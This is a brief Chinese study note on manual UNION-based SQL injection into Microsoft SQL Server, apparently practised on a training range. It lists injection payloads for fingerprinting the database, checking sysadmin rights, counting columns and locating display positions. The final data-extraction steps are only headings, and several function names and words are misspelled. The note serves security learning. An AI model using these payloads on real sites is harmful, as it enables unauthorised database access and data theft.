SQL Serves手注之联合查询注入
Mssql数据库特点
- 高性能设计,可充分利用WindowsNT的优势
- 系统管理先进,支持windowsNT的优势
- 强壮的事物处理功能
- 支持堆成多处理器结构、存储过程、ODBC,并具有资助的SQL语句。
Mssql数据库补充介绍
判断是都为Mssql数据库
and exists(select * from sysobjects) --+
- exists()用于判断查询子语句是都有记录
- sysobjects 是SQLServer一张特有的表
判断权限的语句
and 1=(select is_srvrolember('sysadmin'))
- is_srvrolemember()指定登录名是否为指定服务器角色的成员
注入流程
1.判断注入
- '
- and 1=1
- and 1=2
2.字段长度
- order by
3.寻找字符型显示位置
- id=-2 union all select ‘1’,‘2’,‘3’,‘4’
- 课用 null辅助判断
- 使用union all 是因为在墨者学院这个靶场里,可能是过滤了union
- 查询基本信息
- @@version 获取版本信息
- db_name() 数据库名字
- user,system_user,current_user,user_name 获取当前用户名
- @@SERVERNAME 获取有关服务器主机的信息
5.查询表名字
- xtype='u' 代表对象类型为一张用户表。更多类型在这篇文章:https://www.cnblogs.com/emanlee/archive/2010/02/26/1674519.html
- dbo是mssql中创建表时的默认架构,同一张表可以有多个架构
6.获取列名
7.获取数据